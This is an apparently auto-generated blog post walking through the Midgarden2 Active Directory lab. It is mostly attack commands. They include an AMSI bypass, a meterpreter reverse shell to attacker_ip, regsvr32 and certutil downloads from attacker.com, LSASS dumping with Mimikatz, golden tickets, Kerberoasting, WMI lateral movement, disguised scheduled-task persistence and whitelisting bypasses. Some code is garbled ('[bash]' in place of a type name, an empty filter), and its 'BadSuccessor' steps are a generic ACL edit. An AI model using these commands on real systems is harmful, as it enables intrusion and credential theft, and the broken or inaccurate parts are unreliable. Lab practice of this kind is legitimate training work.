Listen to this Post
Introduction:
Active Directory remains the crown jewel for enterprise attackers, and the Midgarden2 lab machine demonstrates why even seasoned professionals struggle against modern AD vulnerabilities. This challenging scenario combines a fresh vulnerability called BadSuccessor with advanced endpoint evasion techniques, forcing practitioners to think beyond conventional attack paths. The lab represents the evolving reality where obtaining initial access is merely the beginning of a complex negotiation with layered security controls.
Learning Objectives:
- Understand and exploit the BadSuccessor Active Directory vulnerability in constrained environments
- Implement multiple techniques for Endpoint Detection and Response (EDR) and Antivirus (AV) evasion
- Master advanced credential dumping and lateral movement tactics in segmented networks
- Develop methodology for troubleshooting failed exploitation attempts and identifying alternative attack paths
- Build persistence mechanisms in heavily monitored enterprise environments
You Should Know:
1. Initial Reconnaissance and Footholding
Before exploiting specialized vulnerabilities, comprehensive enumeration establishes the attack surface. Midgarden2 requires understanding the domain structure, user accounts, and available services.
Basic AD enumeration with PowerView Get-NetComputer -OperatingSystem "Server 2016" | Select-Object name, operatingsystem Get-NetUser | Select-Object samaccountname, description, lastlogon Get-NetGroup -GroupName "Admin" | Select-Object groupname, member Service enumeration with BloodHound sharphound --collection All --domain midgarden2.local
The initial foothold typically begins with identifying misconfigured services or vulnerable applications. In Midgarden2, this involves careful analysis of exposed web services and their associated service accounts, which often have excessive permissions that can be leveraged for initial access.
2. BadSuccessor Vulnerability Exploitation
BadSuccessor represents a newer class of Active Directory vulnerabilities that abuse inheritance and permission structures. This vulnerability specifically targets how certain AD objects handle permission changes and successor relationships.
Enumerating potentially vulnerable objects
Import-Module ActiveDirectory
Get-ADObject -Filter -Properties | Where-Object {$_.ObjectClass -eq "groupPolicyContainer"} | Select-Object Name, DisplayName, nTSecurityDescriptor
BadSuccessor exploitation sequence
$TargetObject = Get-ADObject -Identity "CN=Target,OU=Servers,DC=midgarden2,DC=local"
$NewSD = $TargetObject.nTSecurityDescriptor
$NewSD.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule "MIDGARDEN2\Attacker","GenericAll","Allow"))
Set-ADObject -Identity $TargetObject -Replace @{nTSecurityDescriptor = $NewSD}
The exploitation allows attackers to modify critical AD objects that should normally be protected, enabling privilege escalation paths that bypass traditional security monitoring.
3. ERD/AV Evasion Techniques
Modern endpoint protection requires sophisticated evasion approaches. Midgarden2 implements multiple security layers that must be systematically bypassed.
AMSI bypass for PowerShell execution
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Process hollowing for memory execution
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=443 -f raw > shell.bin
Inject into legitimate process using custom loader
.\ProcessHollowing.exe -i shell.bin -p notepad.exe
Additionally, consider living-off-the-land techniques using trusted system binaries:
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll certutil -urlcache -split -f http://attacker.com/payload.exe C:\Windows\Temp\payload.exe
4. Credential Extraction and Kerberos Attacks
Once established, extracting and leveraging credentials enables lateral movement and privilege escalation.
Dumping LSASS memory without touching disk procdump.exe -accepteula -ma lsass.exe lsass.dmp Alternative: Using Mimikatz with custom obfuscation mimikatz privilege::debug mimikatz sekurlsa::logonpasswords mimikatz kerberos::golden /user:Administrator /domain:midgarden2.local /sid:S-1-5-21-... /krbtgt:hash /ticket:golden.kirbi
For Kerberos-based attacks in constrained environments:
Python implementation for Kerberoasting from impacket.krb5.types import Principal from impacket.krb5.asn1 import TGS_REP from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS Extract service tickets for offline cracking GetUserSPNs.py midgarden2.local/user:password -dc-ip DC_IP -request
5. Lateral Movement and Persistence
Midgarden2 requires creative lateral movement due to network segmentation and host-based restrictions.
WMI for lateral movement $Credential = Get-Credential Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c powershell -ep bypass -file payload.ps1" -ComputerName TARGET -Credential $Credential Establishing persistence via scheduled tasks $Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -File C:\Windows\Temp\persist.ps1" $Trigger = New-ScheduledTaskTrigger -AtStartup Register-ScheduledTask -TaskName "SystemUpdate" -Action $Action -Trigger $Trigger -RunLevel Highest
For environments with application whitelisting, consider abusing trusted applications:
Using msbuild for execution C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe malicious.xml Using installutil for payload delivery C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
6. Privilege Escalation to Domain Admin
The final objective involves escalating to Domain Administrator through multiple possible paths.
Unconstrained delegation abuse
Check for computers with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties trustedfordelegation,serviceprincipalname,description
Resource-based constrained delegation attack
Set-ADComputer -Identity TargetComputer -PrincipalsAllowedToDelegateToAccount AttackerComputer$
Additionally, explore ACL-based privilege escalation:
Check for GenericAll privileges on critical objects
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll"}
7. Troubleshooting and Alternative Approaches
Midgarden2 intentionally breaks assumptions, requiring methodological troubleshooting when standard techniques fail.
Network connectivity testing
Test-NetConnection TARGET_IP -Port 445
Service discovery through port forwarding
chisel client ATTACKER_IP:8080 R:socks
proxychains nmap -sT -Pn TARGET_SUBNET
Debugging PowerShell execution issues
$Error[bash] | Format-List -Force
Get-WinEvent -LogName "Windows PowerShell" | Where-Object {$<em>.LevelDisplayName -eq "Warning" -or $</em>.LevelDisplayName -eq "Error"}
What Undercode Say:
- The BadSuccessor vulnerability demonstrates that even well-hardened AD environments contain obscure attack paths that bypass conventional security models
- Modern red teaming requires equal focus on initial exploitation and sustained evasion, as security stacks have become increasingly effective at detecting post-compromise activity
- The true value of labs like Midgarden2 lies in developing the troubleshooting mindset necessary for real-world engagements where standard toolkits frequently fail
The Midgarden2 lab represents a significant evolution in cybersecurity training by forcing practitioners beyond scripted attack paths. Unlike many training environments that follow predictable patterns, this scenario introduces realistic obstacles that break automated tools and require deep understanding of underlying protocols. The inclusion of emerging vulnerabilities like BadSuccessor alongside advanced evasion requirements mirrors the current enterprise security landscape, where attackers must continuously adapt to layered defenses. This approach develops the problem-solving skills necessary for effective security testing in modern environments dominated by EDR solutions and hardened configurations.
Prediction:
The techniques demonstrated in Midgarden2 foreshadow the next evolution of enterprise attacks, where vulnerabilities in identity and access management systems will increasingly become the primary attack vector. As cloud adoption accelerates and perimeter defenses strengthen, attackers will pivot toward abusing trust relationships within identity providers like Active Directory. The combination of novel AD vulnerabilities with sophisticated living-off-the-land techniques represents the future of advanced persistent threats, requiring defenders to implement deeper monitoring of authentication systems and assume breach positions. Security teams must prepare for attacks that completely bypass traditional network security controls through legitimate credential abuse and protocol-level exploitation.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Frank Nhatarikwa – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
